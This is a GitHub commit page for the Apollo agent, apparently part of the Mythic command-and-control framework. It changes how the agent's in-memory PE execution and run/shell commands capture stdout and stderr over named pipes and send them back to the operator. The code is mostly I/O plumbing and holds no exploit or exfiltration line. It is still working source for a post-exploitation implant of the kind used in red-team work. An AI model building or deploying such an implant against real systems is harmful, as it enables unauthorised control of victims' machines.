Skip to content

Commit

Permalink
fixes for execute_pe/run/shell
Browse files Browse the repository at this point in the history
  • Loading branch information
its-a-feature committed Nov 8, 2024
1 parent 05896c9 commit 6646cea
Show file tree
Hide file tree
Showing 7 changed files with 386 additions and 107 deletions.
8 changes: 8 additions & 0 deletions Payload_Type/apollo/CHANGELOG.MD
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,14 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [v2.2.19] - 2024-11-08

### Changed

- Updated execute_pe code to use named pipes for reading output
- Updated sacrificial process code to read stdout as well for commands like run
- Updated run/shell to read output and exit

## [v2.2.18] - 2024-10-16

### Changed
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,142 @@
#define NAMED_PIPE
using System;
using System.IO.Pipes;
using System.IO;
using static ExecutePE.Internals.NativeDeclarations;
using System.Threading.Tasks;
using System.Threading;
using ApolloInterop.Classes.Events;

namespace ExecutePE.Helpers
{

class StdHandleRedirector : IDisposable
{
NamedPipeServerStream stdoutServerStream;
NamedPipeClientStream stdoutClientStream;

FileStream stdoutReader;

private IntPtr _oldStdout;
private IntPtr _oldStderr;

private event EventHandler<StringDataEventArgs> _stdoutHandler;

private CancellationTokenSource _cts = new CancellationTokenSource();
private Task _stdoutReadTask;

public StdHandleRedirector(EventHandler<StringDataEventArgs> stdoutHandler)
{
_stdoutHandler += stdoutHandler;

Initialize();

_stdoutReadTask = new Task(() =>
{
ReadStdoutAsync();
});


_stdoutReadTask.Start();
}


private void Initialize()
{

string stdoutGuid = Guid.NewGuid().ToString();

stdoutServerStream = new NamedPipeServerStream(stdoutGuid, PipeDirection.InOut, 100, PipeTransmissionMode.Byte, PipeOptions.Asynchronous);
stdoutServerStream.BeginWaitForConnection(new AsyncCallback(stdoutServerStream.EndWaitForConnection), stdoutServerStream);

stdoutClientStream = new NamedPipeClientStream("127.0.0.1", stdoutGuid, PipeDirection.InOut, PipeOptions.Asynchronous);
stdoutClientStream.Connect();

stdoutReader = new FileStream(stdoutServerStream.SafePipeHandle.DangerousGetHandle(), FileAccess.Read);

_oldStdout = GetStdHandle(StdHandles.Stdout);
_oldStderr = GetStdHandle(StdHandles.Stderr);

SetStdHandle(StdHandles.Stdout, stdoutClientStream.SafePipeHandle.DangerousGetHandle());
SetStdHandle(StdHandles.Stderr, stdoutClientStream.SafePipeHandle.DangerousGetHandle());
}

private void ReadFileStreamAsync(FileStream stream, EventHandler<StringDataEventArgs> eventhandler)
{
int szBuf = 4096;
byte[] tmp;
int n;
byte[] newstr;

do
{
tmp = new byte[szBuf];
n = 0;
Task<string> t = new Task<string>(() =>
{
n = stream.Read(tmp, 0, szBuf);
if (n > 0)
{
newstr = new byte[n];
Array.Copy(tmp, newstr, n);
return Console.OutputEncoding.GetString(newstr);
}
return null;
});
t.Start();
try
{
t.Wait(_cts.Token);
}
catch (OperationCanceledException)
{
break;
}
if (t.Status == TaskStatus.RanToCompletion)
{
eventhandler?.Invoke(this, new StringDataEventArgs(t.Result));
}
} while (!_cts.IsCancellationRequested);

do
{
tmp = new byte[szBuf];
n = stream.Read(tmp, 0, szBuf);
if (n > 0)
{
newstr = new byte[n];
Array.Copy(tmp, newstr, n);
eventhandler?.Invoke(this, new StringDataEventArgs(Console.OutputEncoding.GetString(newstr)));
}
else
{
break;
}
} while (n > 0);
}

private void ReadStdoutAsync()
{
ReadFileStreamAsync(stdoutReader, _stdoutHandler);
}

public void Dispose()
{
SetStdHandle(StdHandles.Stderr, _oldStderr);
SetStdHandle(StdHandles.Stdout, _oldStdout);

stdoutClientStream.Flush();

stdoutClientStream.Close();

_cts.Cancel();

Task.WaitAll(new Task[]
{
_stdoutReadTask
});

stdoutServerStream.Close();
}
}
}
89 changes: 81 additions & 8 deletions Payload_Type/apollo/apollo/agent_code/ExecutePE/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -12,18 +12,27 @@
using ApolloInterop.Classes.Events;
using ApolloInterop.Enums.ApolloEnums;
using ApolloInterop.Constants;
using ST = System.Threading.Tasks;
using System.IO.Pipes;
using ApolloInterop.Classes.IO;
using System.IO;
using ExecutePE.Helpers;

namespace ExecutePE
{
internal static class Program
{
private static JsonSerializer _jsonSerializer = new JsonSerializer();
private static string? _namedPipeName;
private static ConcurrentQueue<byte[]> _senderQueue = new ConcurrentQueue<byte[]>();
private static ConcurrentQueue<IMythicMessage> _recieverQueue = new ConcurrentQueue<IMythicMessage>();
private static AsyncNamedPipeServer? _server;
private static AutoResetEvent _senderEvent = new AutoResetEvent(false);
private static AutoResetEvent _receiverEvent = new AutoResetEvent(false);
private static ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>> MessageStore = new ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>>();

private static CancellationTokenSource _cts = new CancellationTokenSource();
private static Action<object>? _sendAction;
private static ST.Task? _clientConnectedTask;

private static int Main(string[] args)
{
Expand All @@ -32,10 +41,35 @@ private static int Main(string[] args)
throw new Exception("No named pipe name given.");
}
_namedPipeName = args[0];
_sendAction = (object p) =>
{
PipeStream pipe = (PipeStream)p;
while (pipe.IsConnected && !_cts.IsCancellationRequested)
{
WaitHandle.WaitAny(new WaitHandle[] {
_senderEvent,
_cts.Token.WaitHandle
});
while (_senderQueue.TryDequeue(out byte[] result))
{
pipe.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, pipe);
}
}
while (_senderQueue.TryDequeue(out byte[] message))
{
pipe.BeginWrite(message, 0, message.Length, OnAsyncMessageSent, pipe);
}
// Wait for all messages to be read by Apollo
pipe.WaitForPipeDrain();
pipe.Close();
};
_server = new AsyncNamedPipeServer(_namedPipeName, instances: 1, BUF_OUT: IPC.SEND_SIZE, BUF_IN: IPC.RECV_SIZE);
_server.ConnectionEstablished += OnAsyncConnect;
_server.MessageReceived += OnAsyncMessageReceived;

var return_code = 0;
try
{
if (IntPtr.Size != 8)
Expand All @@ -44,7 +78,7 @@ private static int Main(string[] args)
}

_receiverEvent.WaitOne();
_server.Stop();
//_server.Stop();

IMythicMessage taskMsg;

Expand All @@ -59,16 +93,43 @@ private static int Main(string[] args)
}

ExecutePEIPCMessage peMessage = (ExecutePEIPCMessage)taskMsg;
PERunner.RunPE(peMessage);
return 0;

using (StdHandleRedirector redir = new StdHandleRedirector(OnBufferWrite))
{
PERunner.RunPE(peMessage);
}

}
catch (Exception exc)
{
Console.WriteLine(exc.ToString());
return exc.HResult;
// Handle any exceptions and try to send the contents back to Mythic
_senderQueue.Enqueue(Encoding.UTF8.GetBytes(exc.ToString()));
_senderEvent.Set();
return_code = exc.HResult;
}
}
_cts.Cancel();

// Wait for the pipe client comms to finish
while (_clientConnectedTask is ST.Task task && !_clientConnectedTask.IsCompleted)
{
task.Wait(1000);
}
return return_code;
}
private static void OnBufferWrite(object sender, StringDataEventArgs args)
{
if (args.Data != null)
{
_senderQueue.Enqueue(Encoding.UTF8.GetBytes(args.Data));
_senderEvent.Set();
}
}
private static void OnAsyncMessageSent(IAsyncResult result)
{
PipeStream pipe = (PipeStream)result.AsyncState;
pipe.EndWrite(result);
pipe.Flush();
}
private static void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args)
{
IPCChunkedData chunkedData = _jsonSerializer.Deserialize<IPCChunkedData>(
Expand Down Expand Up @@ -99,5 +160,17 @@ private static void DeserializeToReceiverQueue(object sender, ChunkMessageEventA
_recieverQueue.Enqueue(msg);
_receiverEvent.Set();
}

public static void OnAsyncConnect(object sender, NamedPipeMessageArgs args)
{
// We only accept one connection at a time, sorry.
if (_clientConnectedTask != null)
{
args.Pipe.Close();
return;
}
_clientConnectedTask = new ST.Task(_sendAction, args.Pipe);
_clientConnectedTask.Start();
}
}
}
40 changes: 23 additions & 17 deletions Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs
Original file line number Diff line number Diff line change
Expand Up @@ -569,9 +569,9 @@ private void PostStartupInitialize()
{
Handle = _processInfo.hProcess;
PID = (uint)_processInfo.dwProcessId;
//_standardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding);
//_standardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding);
//_standardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding);
_standardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding);
_standardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding);
_standardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding);
}

private async void WaitForExitAsync()
Expand All @@ -580,22 +580,24 @@ private async void WaitForExitAsync()
{
await Task.Factory.StartNew(() =>
{
//var stdOutTask = GetStdOutAsync();
//var stdErrTask = GetStdErrAsync();
//var waitExitForever = new Task(() =>
//{
// _pWaitForSingleObject(Handle, 0xFFFFFFFF);
//});
//stdOutTask.Start();
//stdErrTask.Start();
//waitExitForever.Start();
var stdOutTask = GetStdOutAsync();
var stdErrTask = GetStdErrAsync();
var waitExitForever = new Task(() =>
{
_pWaitForSingleObject(Handle, 0xFFFFFFFF);
});
stdOutTask.Start();
stdErrTask.Start();
waitExitForever.Start();
try
{
//waitExitForever.Wait(_cts.Token);
WaitHandle.WaitAny(new WaitHandle[]
{
_cts.Token.WaitHandle,
});
waitExitForever.Wait(_cts.Token);
// at this point, the process has exited
//WaitHandle.WaitAny(new WaitHandle[]
//{
// _cts.Token.WaitHandle,
//});
}
catch (OperationCanceledException)
{
Expand Down Expand Up @@ -642,6 +644,10 @@ private IEnumerable<string> ReadStream(TextReader stream)
if (readTask.IsCompleted)
{
bytesRead = readTask.Result;
} else
{
bytesRead = 0;

}
//bytesRead = stream.Read(buf, 0, szBuffer);

Expand Down
Loading

0 comments on commit 6646cea

Please sign in to comment.